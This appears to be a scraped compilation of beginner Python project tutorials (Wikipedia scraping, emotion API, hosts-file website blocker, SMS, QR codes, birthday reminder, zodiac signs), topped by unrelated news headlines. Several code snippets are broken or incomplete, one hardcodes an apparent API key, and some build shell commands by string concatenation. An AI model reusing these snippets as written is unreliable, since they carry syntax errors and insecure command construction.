    GSMArena.com News: Weekly poll: Samsung Galaxy Z Fold3, the new S Pen and the Galaxy Z Flip3 - GSMArena.com news.
    Market Research Telecast News: How to import your WhatsApp chats to WhatsApp Plus 17.00 Heymods.
    Notebookcheck.net News: Realme will finally debut its first-gen laptop later in August 2021.
    NewsBytes: Redmi 10 officially teased; color options revealed.
    The Siasat Daily News: Xiaomi removes anti-lost mode from Mi Mix 4.
    Zee News: Good news for Motorola Razr owners! Smartphone is finally getting Android 11 update.
    EssentiallySports News: Animal Crossing: New Horizons- Predictions for the Next Big Update.
    Republic World News: Motorola Edge 20 price in India Leaked: Price to range between Rs 21,499 to Rs 29,999.
    Eurogamer.net News: Assassinations have been temporarily removed from Halo Infinite because "people just turn them off".
    EssentiallySports News: Call of Duty: Warzone- If You Can Win a Game Despite the Hackers, You Can See a Vanguard Teaser.
    Techradar News: Facebook Messenger voice and video calls are getting end-to-end encryption.
    Do you want to search again[Yes/No]? No

    My Personal Notes arrow_drop_up

    Fetching text from Wikipedia’s Infobox in Python

    Improve Article
    Save Article
    Like Article
    • Last Updated : 10 Aug, 2021

    An infobox is a template used to collect and present a subset of information about its subject. It can be described as a structured document containing a set of attribute-value pairs, and in Wikipedia, it represents a summary of information about the subject of an article.
    So a Wikipedia infobox is a fixed-format table usually added to the top right-hand corner of articles to represent a summary article of that wiki page and sometimes to improve navigation to other interrelated articles. 
    [To know more about infobox, Click here]
    Web Scraping is a mechanism that helps to extract large amounts of data from websites whereby the data is extracted and saved to a local file in your computer or to a database in table (spreadsheet) format. 
    There are several ways to extract information from the web. Using APIs is one of the best ways to extract data from a website. Almost all large websites like Youtube Facebook, Google, Twitter, StackOverflow provide APIs to access their data in a more structured manner. If you can get what you need through an API, it is almost always preferred the red approach over web scraping. 
    Sometimes, there is a need for scraping the content of a Wikipedia page, while we are developing any project or using it somewhere else. In this article, I’ll tell how to extract contents of the Wikipedia’s Infobox.
    Basically, We can use two Python modules for scraping data: 
    Urllib2: It is a Python module that can be used for fetching URLs. urllib2 is a Python module for fetching URLs. It offers a very simple interface, in the form of the urlopen function. This is capable of fetching URLs using a variety of different protocols. For more detail refer to the documentation page.
    BeautifulSoup: It is an incredible tool for pulling out information from a webpage. You can use it to extract tables, lists, paragraphs and you can also put filters to extract information from web pages. Look at the documentation page of BeautifulSoup 
    BeautifulSoup does not fetch the web page for us. We can use urllib2 with the BeautifulSoup library.
    Now I am going to tell you another easy way for scraping 
    Steps for the following:
    The modules we will be using are: 
     
    I have used Python 2.7 here,
    Make sure these modules are installed on your machine. 
    If not then on the console or prompt you can install it using pip 
     

    Python




    # importing modules
    import requests
    from lxml import etree
      
    # manually storing desired URL
      
    # fetching its url through requests module  
    req = requests.get(url) 
      
    store = etree.fromstring(req.text)
      
    # this will give Motto portion of above 
    # URL's info box of Wikipedia's page
    output = store.xpath('//table[@class="infobox vcard"]/tr[th/text()="Motto"]/td/i'
      
    # printing the text portion
    print output[0].text  
      
    # Run this program on your installed Python or 
    # on your local system using cmd or any IDE.

    See this link, it will display the ‘Motto section’ of this Wikipedia page info box.(as shown in this screenshot) 
     

    Your browser is not supported.

    Write your code first of all

    Now finally after running the program you get,

    You can also modify the URL.XPath to get different sections of the infobox. 
    If you want to learn more about web scraping, go to these links, 
    1) Web Scraping 1 
    2) Web Scraping 2
     

    My Personal Notes arrow_drop_up

    Get emotions of images using Microsoft emotion API in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Expert
    • Last Updated : 16 Jul, 2020

    The emotions of images like happy, sad, neutral, surprise, etc. can be extracted using Microsoft emotion API for any development purpose.

    It is very simple to use and can be called via API through terminal or any of languages like Python or PHP. Microsoft provides free subscription of 30 days for making total of 30,000 requests.
    The details of the end points and parameters can be found in the documentation.




    # Python script to analyze
    # emotion of image
    import http.client, urllib.request
    import urllib.parse, urllib.error
    import base64, sys
    import simplejson as json
      
    # replace with subscription_key
    # you obtained after registration
    subscription_key = '12f29133caf4406493e81b6a31c47c1a'
      
    headers = {
      
        # Request headers. Replace
        # the placeholder key
        # below with your
        # subscription key.
        'Content-Type': 'application/json',
        'Ocp-Apim-Subscription-Key': subscription_key,
    }
      
    params = urllib.parse.urlencode({
    })
      
    # Replace the URL
    # below with the
    # URL of the image
    # you want to analyze.
    url1 = 'IMAGE URL TO BE ADDED HERE'
    body = { 'url': url1 }
    newbody =str(body)
      
    try:
        # NOTE: You must use the same region in your REST call as you used to obtain your subscription keys.
        # For example, if you obtained your subscription keys from westcentralus, replace "westus" in the
        # URL below with "westcentralus".
        conn = http.client.HTTPSConnection('westus.api.cognitive.microsoft.com')
        conn.request("POST", "/emotion/v1.0/recognize?%s" % params, newbody, headers)
        response = conn.getresponse()
        data = response.read()
      
        parsed = json.loads(data)
        print ("Response:")
        print (json.dumps(parsed, sort_keys=True, indent=2))
      
        # the emotion of image
        # will the max value of
        # any emotion obtained
        # from the different
        # scores of each emotion
        val = parsed[0]["scores"]
        res = max(val, key = val.get)
        print ("\nEmotion :: ",res)
      
        conn.close()
    except Exception as e:
        print(e.args)

    The sample project using this api is available on SnapLook


    My Personal Notes arrow_drop_up

    Website Blocker Using Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 16 Jul, 2020

    This is real world program which blocks certain distracting website like Facebook, Youtube etc during your work hours.

    About the program : What we are going to in this program is that we will pass the link of websites which you think is distracting and the time that you are working on your computer and program will block those website.

    Program Architecture:

    1. Every system have host file whether it is Mac, Windows or Linux.
      Host file in Mac and Linux :
      /etc/hosts

      Host file in Windows:

      C:\Windows\System32\drivers\etc
    2. Working of host file: Host is an operating system file which maps hostnames to IP addresses. In this program we will be mapping hostnames of websites to our localhost address. Using python file handling manipulation we will write the hostname in hosts.txt and remove the lines after your working hours.

      Host file in Mac:




    # Run this script as root
      
    import time
    from datetime import datetime as dt
      
    # change hosts path according to your OS
    hosts_path = "/etc/hosts"
    # localhost's IP
    redirect = "127.0.0.1"
      
    # websites That you want to block
    website_list = 
    ["www.facebook.com","facebook.com",
          "dub119.mail.live.com","www.dub119.mail.live.com",
          "www.gmail.com","gmail.com"]
      
    while True:
      
        # time of your work
        if dt(dt.now().year, dt.now().month, dt.now().day,8
        < dt.now() < dt(dt.now().year, dt.now().month, dt.now().day,16):
            print("Working hours...")
            with open(hosts_path, 'r+') as file:
                content = file.read()
                for website in website_list:
                    if website in content:
                        pass
                    else:
                        # mapping hostnames to your localhost IP address
                        file.write(redirect + " " + website + "\n")
        else:
            with open(hosts_path, 'r+') as file:
                content=file.readlines()
                file.seek(0)
                for line in content:
                    if not any(website in line for website in website_list):
                        file.write(line)
      
                # removing hostnmes from host file
                file.truncate()
      
            print("Fun hours...")
        time.sleep(5)

    Special note for Windows users : Windows user need to create a duplicate of OS’s host file. Now provide the path of the duplicate file in hosts_path mentioned in the script.

    Scheduling above script in Mac : For scheduling above script in Mac you have to open crontab in your terminal as a root.

    1. Write following command in terminal:
      sudo crontab -e

      Your terminal should look like this:

    2. Now press “i” to go into insert/editing mode and write @reboot python_script_path .
    3. Save the tab by pressing first esc to quit write mode and fall back to command mode and now write “:wq” and finally press enter to validate.
    4. Restart your system and see the magic.

    Scheduling in Windows: Scheduling of above script is little bit trick but I will guide you step by step-

    1. First of all change the extension of your script from “.py” to “.pyw”.
    2. Now open task scheduler. Task scheduler should look like this:

      You may see website blocker already scheduled because I have already scheduled in my computer for my testing purpose. Follow further instruction of scheduling carefully in order to schedule website blocker in your computer.

    3. Click on “create task”. Fill the name of your choice and flag “Run with highest privilege”.

    4. Now go to triggers, select “At startup” for begin the task.
    5. Go to Action bar and create a new action and give path of your script.

    6. Go to conditions bar and unflag the power section.

    7. Press ok and you can see the script scheduled.
    8. Finally restart your computer and see the magic.

      Note: You can also check instantly by clicking run button.

    My Personal Notes arrow_drop_up

    Send SMS updates to mobile phone using python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Expert
    • Last Updated : 17 Nov, 2021

    If you are running any python script and want to send regular updates from your script to your mobile phone through SMS, you can use SinchSMS API to send SMS.
    Approach : 
    Create an app on Sinch and get the key and secret of the app and use these credentials in the following script to send SMS to your mobile.
    Limitation of Sinch : 
    If you don’t have any credits(you have to pay for credits), you can only send SMS to the registered mobile numbers on Sinch. 
    You can use way2sms to send SMS to any number(I will be discussing how to use way2sms in another article), but without purchased credits, on way2sms also, you can’t send more than 100 SMS per day.
     

    Python




    # python script for sending message update
     
    import time
    from time import sleep
    from sinchsms import SinchSMS
     
    # function for sending SMS
    def sendSMS():
     
        # enter all the details
        # get app_key and app_secret by registering
        # a app on sinchSMS
        number = 'your_mobile_number'
        app_key = 'your_app_key'
        app_secret = 'your_app_secret'
     
        # enter the message to be sent
        message = 'Hello Message!!!'
     
        client = SinchSMS(app_key, app_secret)
        print("Sending '%s' to %s" % (message, number))
     
        response = client.send_message(number, message)
        message_id = response['messageId']
        response = client.check_status(message_id)
     
        # keep trying unless the status returned is Successful
        while response['status'] != 'Successful':
            print(response['status'])
            time.sleep(1)
            response = client.check_status(message_id)
     
        print(response['status'])
     
    if __name__ == "__main__":
        sendSMS()

    For the execution of the script, edit the number, app_key, and app_secret fields, and then simply run the script.
    I have written a complete script for sending SMS updates to mobile phones using sinchSMS and way2sms by fetching the latest updates from our placement website(aitplacements.com). GitHub link: stayUpdated
    Exercise: Create a python script that updates you on your mobile phone if the price of a particular product lowers down to a certain price on amazon.com
     


    My Personal Notes arrow_drop_up

    Python Desktop News Notifier in 20 lines

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 03 Sep, 2021

    To get started with the Desktop News Notifier, we require two libraries: feedparser and notify2. 
    Give following command to to install feedparser: 

    sudo pip3 install feedparser

    For installing notify2 in your terminal:

    sudo pip3 install notify2

    Feedparser will parse the feed that we will get from the URL. We will use notify2 for the desktop notification purpose. Other than these two libraries, we will use OS and time lib. Once you are done with the installation import both libraries in the program. Here, in this example I have parsed the news from the BBC UK, you can use any news feedparser URL. Let’s have a look at the program: 
     

    Python




    # Python program to illustrate
    # desktop news notifier
    import feedparser
    import notify2
    import os
    import time
    def parseFeed():
        f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
        ICON_PATH = os.getcwd() + "/icon.ico"
        notify2.init('News Notify')
        for newsitem in f['items']:
            n = notify2.Notification(newsitem['title'],
                                     newsitem['summary'],
                                     icon=ICON_PATH
                                     )
        n.set_urgency(notify2.URGENCY_NORMAL)
        n.show()
        n.set_timeout(15000)
        time.sleep(1200)
         
    if __name__ == '__main__':
        parseFeed()

    Screenshot of the news notification popup

    Python Desktop News Notifier in 20 lines

    Step by step Explanation of Code: 

    f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
    ICON_PATH = os.getcwd() + "/icon.ico"
    notify2.init('News Notify')
     for newsitem in f['items']: 
            n = notify2.Notification(newsitem['title'], 
                                     newsitem['summary'], 
                                     icon=ICON_PATH 
                                     )
    n.set_urgency(notify2.URGENCY_NORMAL)
    n.show()
    n.set_timeout(15000)
    time.sleep(1200)

    This article is contributed by Srce Cde. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Morse Code Translator In Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 26 Apr, 2022

    Morse code is a method of transmitting text information as a series of on-off tones, lights, or clicks that can be directly understood by a skilled listener or observer without special equipment. It is named for Samuel F. B. Morse, an inventor of the telegraph.

    Algorithm

    The algorithm is very simple. Every character in the English language is substituted by a series of ‘dots’ and ‘dashes’ or sometimes just singular ‘dot’ or ‘dash’ and vice versa. 
    Please refer to this Wikipedia image for details.

    Encryption 

    1. In the case of encryption, we extract each character (if not space) from a word one at a time and match it with its corresponding morse code stored in whichever data structure we have chosen(if you are coding in python, dictionaries can turn out to be very useful in this case)
    2. Store the morse code in a variable that will contain our encoded string and then we add a space to our string that will contain the result.
    3. While encoding in morse code we need to add 1 space between every character and 2 consecutive spaces between every word.
    4. If the character is a space then add another space to the variable containing the result. We repeat this process till we traverse the whole string

    Decryption

    1. In the case of decryption, we start by adding a space at the end of the string to be decoded (this will be explained later).
    2. Now we keep extracting characters from the string till we are not getting any space.
    3. As soon as we get a space we look up the corresponding English language character to the extracted sequence of characters (or our morse code) and add it to a variable that will store the result.
    4. Remember keeping track of the space is the most important part of this decryption process. As soon as we get 2 consecutive spaces we will add another space to our variable containing the decoded string.
    5. The last space at the end of the string will help us identify the last sequence of morse code characters (since space acts as a check for extracting characters and start decoding them).

    Implementation:

    Python provides a data structure called a dictionary which stores information in the form of key-value pairs which is very convenient for implementing a cipher such as a morse code. We can save the morse code chart in a dictionary where (key-value pairs) => (English Characters-Morse Code). The plaintext (English characters) takes the place of keys and the ciphertext (Morse code) forms the values of the corresponding keys. The values of keys can be accessed from the dictionary in the same way we access the values of an array through their index and vice versa.
     

    Python3




    # Python program to implement Morse Code Translator
     
    '''
    VARIABLE KEY
    'cipher' -> 'stores the morse translated form of the english string'
    'decipher' -> 'stores the english translated form of the morse string'
    'citext' -> 'stores morse code of a single character'
    'i' -> 'keeps count of the spaces between morse characters'
    'message' -> 'stores the string to be encoded or decoded'
    '''
     
    # Dictionary representing the morse code chart
    MORSE_CODE_DICT = { 'A':'.-', 'B':'-...',
                        'C':'-.-.', 'D':'-..', 'E':'.',
                        'F':'..-.', 'G':'--.', 'H':'....',
                        'I':'..', 'J':'.---', 'K':'-.-',
                        'L':'.-..', 'M':'--', 'N':'-.',
                        'O':'---', 'P':'.--.', 'Q':'--.-',
                        'R':'.-.', 'S':'...', 'T':'-',
                        'U':'..-', 'V':'...-', 'W':'.--',
                        'X':'-..-', 'Y':'-.--', 'Z':'--..',
                        '1':'.----', '2':'..---', '3':'...--',
                        '4':'....-', '5':'.....', '6':'-....',
                        '7':'--...', '8':'---..', '9':'----.',
                        '0':'-----', ', ':'--..--', '.':'.-.-.-',
                        '?':'..--..', '/':'-..-.', '-':'-....-',
                        '(':'-.--.', ')':'-.--.-'}
     
    # Function to encrypt the string
    # according to the morse code chart
    def encrypt(message):
        cipher = ''
        for letter in message:
            if letter != ' ':
     
                # Looks up the dictionary and adds the
                # corresponding morse code
                # along with a space to separate
                # morse codes for different characters
                cipher += MORSE_CODE_DICT[letter] + ' '
            else:
                # 1 space indicates different characters
                # and 2 indicates different words
                cipher += ' '
     
        return cipher
     
    # Function to decrypt the string
    # from morse to english
    def decrypt(message):
     
        # extra space added at the end to access the
        # last morse code
        message += ' '
     
        decipher = ''
        citext = ''
        for letter in message:
     
            # checks for space
            if (letter != ' '):
     
                # counter to keep track of space
                i = 0
     
                # storing morse code of a single character
                citext += letter
     
            # in case of space
            else:
                # if i = 1 that indicates a new character
                i += 1
     
                # if i = 2 that indicates a new word
                if i == 2 :
     
                     # adding space to separate words
                    decipher += ' '
                else:
     
                    # accessing the keys using their values (reverse of encryption)
                    decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT
                    .values()).index(citext)]
                    citext = ''
     
        return decipher
     
    # Hard-coded driver function to run the program
    def main():
        message = "GEEKS-FOR-GEEKS"
        result = encrypt(message.upper())
        print (result)
     
        message = "--. . . -.- ... -....- ..-. --- .-. -....- --. . . -.- ... "
        result = decrypt(message)
        print (result)
     
    # Executes the main function
    if __name__ == '__main__':
        main()

    Output:

    --. . . -.- ... -....- ..-. --- .-. -....- --. . . -.- ... 
    GEEKS-FOR-GEEKS

    This article is contributed by Palash Nigam . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Performing Google Search using Python code

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 24 Nov, 2021

    Let’s say you are working on a project that needs to do web scraping but you don’t know websites on which scraping is to be performed beforehand instead you are required to perform a google search and then proceed according to google search results to a few websites. In that case, you need google search results for your different queries.

    Installation 
    google package has one dependency on beautifulsoup which needs to be installed first.  

    pip install beautifulsoup4

    Then install the google package  

    pip install google

    Required Function and its parameters 

    Python codes on how to do a google search using python script

    Example1: google_search.py  

    Python




    try:
        from googlesearch import search
    except ImportError:
        print("No module named 'google' found")
     
    # to search
    query = "Geeksforgeeks"
     
    for j in search(query, tld="co.in", num=10, stop=10, pause=2):
        print(j)

    Output: 

    Let’s perform a google search manually and verify our result

     

    Example 2: google_search.py 

    Python




    try:
        from googlesearch import search
    except ImportError:
        print("No module named 'google' found")
     
    # to search
    query = "A computer science portal"
     
    for j in search(query, tld="co.in", num=10, stop=10, pause=2):
        print(j)

    Output: 

     

    Let’s perform a google search manually and verify our result

    Reference: Google python package

    This article is contributed by Pratik Chhajer. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Reading and Generating QR codes in Python using QRtools

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 20 Oct, 2021


    This article aims to introduce the use of the python library: qrtools. This library can be used to both read QR codes and generate them.

    What are QR codes?

    QR code, or quick response code, is a trademark for a type of 2 dimensional barcode. 2 dimensional barcodes are similar to one dimensional barcodes, but can store more information per unit area.

    Installation and Dependencies

    1. Debian Linux: qrtools can be installed on debian based linux systems with the following commands
      sudo apt-get update
      sudo apt-get install python-qrtools
      

      The following dependencies must be installed as well

      [sudo] pip install pypng
      [sudo] pip install zbar
      [sudo] pip install pillow
      
    2. Windows: qrtools can be installed on windows by downloading the file from here. On downloading and extraction, run the following command from inside the folder
      python setup.py install
      

    Generate a QR Code

    qrtools contains a class QR (can be viewed in the source code), for which we must initially create an object. The object takes the following arguments

    1. data
    2. pixel_size
    3. level
    4. margin_size
    5. data_type

    To create a QR code with default settings, we must simply specify the data while creating the object. Note that the data must be a unicode object if non-ASCII objects are going to be used.




    # Python program to generate QR code
    from qrtools
    import QR
      
    # creates the QR object
    my_QR = QR(data = u"Example")
      
    # encodes to a QR code
    my_QR.encode()

    If the program runs successfully, it returns a value of 0, and the QR code is stored in the tmp folder. To know the exact location, use the following command

    print (my_QR.filename)
    

    Sample output

    /tmp/qr-1496334996.385343/7489ebbcc2a00056ddaaaac190bce473e5c03696ea1bd8ed83cf59a174283862.png
    

    This file can now be moved to another folder as per our convenience




    # Python program to generate QR code
    from qrtools import QR
      
    import os
    my_QR = QR(data = u"Example")
    my_QR.encode()
      
    # command to move the QR code to the desktop
    os.system("sudo mv " + my_QR.filename + " ~/Desktop")

    The pixel value of the QR code may also be changed by specifying the value during the creation of the QR object. The default size tends to be a little small for reading using scanners on smartphones, so a size of around 10 would be ideal for such purposes, for example:

    my_QR = QR(data = u"example", pixel_size = 10)
    

    The below QR code has pixel size = 10, and has been encoded with a URL

    We can also add email data, sms data, mms data, bookmarks, etc to the QR code. The following code excerpt is taken from the source code, which specifies the various data types that can be used along with the format of the data that would be required for its usage:




    # use these for custom data formats eg. url, phone number, VCARD
    # data should be an unicode object or a list of unicode objects
    data_encode = {
        'text': lambda data: data,
        'url': encode_url,
        'email': lambda data: 'mailto:' + re.compile(
            r'^mailto:', re.IGNORECASE
        ).sub('', data),
        'emailmessage': lambda data: 'MATMSG:TO:' + data[0] + ';SUB:' + data[1] + 
                               ';BODY:' + data[2] + ';;',
        'telephone': lambda data: 'tel:' + re.compile(
            r'^tel:', re.IGNORECASE
        ).sub('', data),
        'sms': lambda data: 'SMSTO:' + data[0] + ':' + data[1],
        'mms': lambda data: 'MMSTO:' + data[0] + ':' + data[1],
        'geo': lambda data: 'geo:' + data[0] + ', ' + data[1],
        'bookmark': lambda data: "MEBKM:TITLE:" + data[0] + ";URL:" + 
                                        data[1] + ";;",
        # phonebook or meCard should be a list of tuples like this:
        # [('N', 'Name'), ('TEL', '231698890'), ...]
        'phonebook': lambda data: "MECARD:" + ";".join([":".join(i) 
                                            for i in data]) + ";"
    }

    From the above code, we observe the various data types that can be assigned and used while creating QR codes. For example, to use a bookmark as data we must provide data as a list, consisting of a title and the url. To accomplish this, we must do the following




    # Python program to generate QR code
    from qrtools import QR
      
    # creates the QR object
    my_QR = QR(data = [u"geeksforgeeks", u"https://www.geeksforgeeks.org/"], 
                                          data_type = 'bookmark')
      
    # encodes to a QR code
    my_QR.encode()

    Read a QR code

    Scanning and reading a QR code is relatively simple. While creating the QR object, we must simply specify the path to the QR code as an argument. Suppose we are trying to decode the QR code created at the beginning of the article.




    # Python program to Scan and Read a QR code
    from qrtools import QR
    my_QR = QR(filename = "home/user/Desktop/qr.png")
      
    # decodes the QR code and returns True if successful
    my_QR.decode()
      
    # prints the data
    print (my_QR.data)

    Output :

    Example
    

    Read a QR code

    We may also print the values of the other parameters passed while creating the QR object to generate the QR code, for example, using the same QR code generated at the beginning of the article, additionally adding these print statements would give the following additional output

    print (my_QR.data_type)
    print (my_QR.pixel_size)
    print (my_QR.margin_size)
    

    Output:

    text
    3
    4
    

    This article is contributed by Deepak Srivatsav. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Birthday Reminder Application in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 31 Dec, 2021

    This app helps in reminding birthdays and notifying your friend’s birthdays. This app uses Python and Ubuntu notifications to notify users on every startup of the system.




    # Python program For
    # Birthday Reminder Application
      
    # time module is must as reminder 
    # is set with the help of dates
    import time
      
    # os module is used to notify user 
    # using default "Ubuntu" notification bar
    import os
      
    # Birthday file is the one in which the actual birthdays
    # and dates are present. This file can be 
    # manually edited or can be automated. 
    # For simplicity, we will edit it manually.
    # Birthdays should be written in this file in
    # the format: "MonthDay Name Surname" (Without Quotes)
      
    birthdayFile = '/path/to/birthday/file'
      
    def checkTodaysBirthdays():
        fileName = open(birthdayFile, 'r')
        today = time.strftime('%m%d')
        flag = 0
        for line in fileName:
            if today in line:
                line = line.split(' ')
                flag =1
                # line[1] contains Name and line[2] contains Surname
                os.system('notify-send "Birthdays Today: ' + line[1]
                + ' ' + line[2] + '"')
        if flag == 0:
                os.system('notify-send "No Birthdays Today!"')
      
    if __name__ == '__main__':
        checkTodaysBirthdays()

    Adding the script to Startup

    After writing the above code now it is the time to add this Python script to startup. This can be done in Ubuntu as follows:

    1. Firstly, we have to create an executable file for our reminder.py script
    2. This can be done by typing the following command in the terminal
      sudo chmod +x reminder.py, where reminder.py is our script file name 
    3. Now we have to transfer this file to the path where Linux searches for its default files:
      Type this command in terminal:
       sudo cp /path/to/our/reminder.py /usr/bin

      . This will add our executable script to /usr/bin.

    4. In global search, search for Startup Applications
    5. Click on Add and Give a desired Name for your process
    6. Type in the command. For example, our file name is reminder.py then type reminder.py in the command field and Select Add

    NOTE: The script runs automatically(once added to startup) everytime you start your system. Also, If you have more than two birthdays on the same day, both the birthdays will be notified in the notification.

    How the birthday file should look like

    Output after running the script

    This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up

    Program to display Astrological sign or Zodiac sign for given date of birth

    Improve Article
    Save Article
    Like Article
    • Last Updated : 17 May, 2021

    For given date of birth, this program displays an astrological sign or Zodiac sign.
    Examples : 
     

    Input : Day = 10, Month = December
    Output : Sagittarius
    Explanation :
    People born on this date have a zodiac Sagittarius.
    
    Input : Day = 7, Month = September
    Output : Virgo

     

    Approach :
    Although the exact dates can shift plus or minus a day, depending on the year, here are the general zodiac sign dates used by Western (or Tropical) astrology :
     

    WESTERN ASTROLOGY STAR SIGN DATES :
    
    Aries (March 21-April 19)
    Taurus (April 20-May 20)
    Gemini (May 21-June 20)
    Cancer (June 21-July 22)
    Leo (July 23-August 22)
    Virgo (August 23-September 22)
    Libra (September 23-October 22)
    Scorpio (October 23-November 21)
    Sagittarius (November 22-December 21)
    Capricorn (December 22-January 19)
    Aquarius (January 20-February 18)
    Pisces (February 19-March 20) 

    We need to check our mentioned date and month and thus find its equivalent zodiac, i.e which zodiac fits in that particular date as well as month and print its corresponding zodiac sign.
    Below is the implementation of above approach : 
     

    C++




    // CPP program to display astrological sign
    // or Zodiac sign for given date of birth
    #include <bits/stdc++.h>
    using namespace std;
     
    void zodiac_sign(int day, string month)
    {
        string astro_sign="";
         
        // checks month and date within the
        // valid range of a specified zodiac
        if (month == "december"){
             
            if (day < 22)
            astro_sign = "Sagittarius";
            else
            astro_sign ="capricorn";
        }
             
        else if (month == "january"){
            if (day < 20)
            astro_sign = "Capricorn";
            else
            astro_sign = "aquarius";
        }
             
        else if (month == "february"){
            if (day < 19)
            astro_sign = "Aquarius";
            else
            astro_sign = "pisces";
        }
             
        else if(month == "march"){
            if (day < 21)
            astro_sign = "Pisces";
            else
            astro_sign = "aries";
        }
        else if (month == "april"){
            if (day < 20)
            astro_sign = "Aries";
            else
            astro_sign = "taurus";
        }
             
        else if (month == "may"){
            if (day < 21)
            astro_sign = "Taurus";
            else
            astro_sign = "gemini";
        }
             
        else if( month == "june"){
            if (day < 21)
            astro_sign = "Gemini";
            else
            astro_sign = "cancer";
        }
             
        else if (month == "july"){
            if (day < 23)
            astro_sign = "Cancer";
            else
            astro_sign = "leo";
        }
             
        else if( month == "august"){
            if (day < 23)
            astro_sign = "Leo";
            else
            astro_sign = "virgo";
        }
             
        else if (month == "september"){
            if (day < 23)
            astro_sign = "Virgo";
            else
            astro_sign = "libra";
        }
             
        else if (month == "october"){
            if (day < 23)
            astro_sign = "Libra";
            else
            astro_sign = "scorpio";
        }
             
        else if (month == "november"){
            if (day < 22)
            astro_sign = "scorpio";
            else
            astro_sign = "sagittarius";
        }
             
        cout<<astro_sign;
    }
         
    // Driver code
    int main ()
    {
     
        int day = 19;
        string month = "may";
        zodiac_sign(day, month);
             
     
        return 0;
    }
     
    // This code is contributed by Gitanjali.

    Java




    // Java program to display astrological sign
    // or Zodiac sign for given date of birth
    import java.io.*;
     
    class GFG {
         
        static void zodiac_sign(int day, String month)
        {
            String astro_sign="";
             
            // checks month and date within the
            // valid range of a specified zodiac
            if (month == "december"){
                 
                if (day < 22)
                astro_sign = "Sagittarius";
                else
                astro_sign ="capricorn";
            }
                 
            else if (month == "january"){
                if (day < 20)
                astro_sign = "Capricorn";
                else
                astro_sign = "aquarius";
            }
                 
            else if (month == "february"){
                if (day < 19)
                astro_sign = "Aquarius";
                else
                astro_sign = "pisces";
            }
                 
            else if(month == "march"){
                if (day < 21)
                astro_sign = "Pisces";
                else
                astro_sign = "aries";
            }
            else if (month == "april"){
                if (day < 20)
                astro_sign = "Aries";
                else
                astro_sign = "taurus";
            }
                 
            else if (month == "may"){
                if (day < 21)
                astro_sign = "Taurus";
                else
                astro_sign = "gemini";
            }
                 
            else if( month == "june"){
                if (day < 21)
                astro_sign = "Gemini";
                else
                astro_sign = "cancer";
            }
                 
            else if (month == "july"){
                if (day < 23)
                astro_sign = "Cancer";
                else
                astro_sign = "leo";
            }
                 
            else if( month == "august"){
                if (day < 23)
                astro_sign = "Leo";
                else
                astro_sign = "virgo";
            }
                 
            else if (month == "september"){
                if (day < 23)
                astro_sign = "Virgo";
                else
                astro_sign = "libra";
            }
                 
            else if (month == "october"){
                if (day < 23)
                astro_sign = "Libra";
                else
                astro_sign = "scorpio";
            }
                 
            else if (month == "november"){
                if (day < 22)
                astro_sign = "scorpio";
                else
                astro_sign = "sagittarius";
            }
                 
            System.out.println(astro_sign);
        }
             
        // Driver code
        public static void main (String[] args)
        {
     
            int day = 19;
            String month = "may";
            zodiac_sign(day, month);
                 
        }
    }
     
    // This code is contributed by Gitanjali.

    Python




    # Python program to display astrological sign
    # or Zodiac sign for given date of birth
     
    def zodiac_sign(day, month):
         
        # checks month and date within the valid range
        # of a specified zodiac
        if month == 'december':
            astro_sign = 'Sagittarius' if (day < 22) else 'capricorn'
             
        elif month == 'january':
            astro_sign = 'Capricorn' if (day < 20) else 'aquarius'
             
        elif month == 'february':
            astro_sign = 'Aquarius' if (day < 19) else 'pisces'
             
        elif month == 'march':
            astro_sign = 'Pisces' if (day < 21) else 'aries'
             
        elif month == 'april':
            astro_sign = 'Aries' if (day < 20) else 'taurus'
             
        elif month == 'may':
            astro_sign = 'Taurus' if (day < 21) else 'gemini'
             
        elif month == 'june':
            astro_sign = 'Gemini' if (day < 21) else 'cancer'
             
        elif month == 'july':
            astro_sign = 'Cancer' if (day < 23) else 'leo'
             
        elif month == 'august':
            astro_sign = 'Leo' if (day < 23) else 'virgo'
             
        elif month == 'september':
            astro_sign = 'Virgo' if (day < 23) else 'libra'
             
        elif month == 'october':
            astro_sign = 'Libra' if (day < 23) else 'scorpio'
             
        elif month == 'november':
            astro_sign = 'scorpio' if (day < 22) else 'sagittarius'
             
        print(astro_sign)
         
    # Driver code
    if __name__ == '__main__':
        day = 19
        month = "may"
        zodiac_sign(day, month)

    C#




    // C# program to display astrological sign
    // or Zodiac sign for given date of birth
    using System;
     
    class GFG {
         
        static void zodiac_sign(int day, string month)
        {
            string astro_sign="";
             
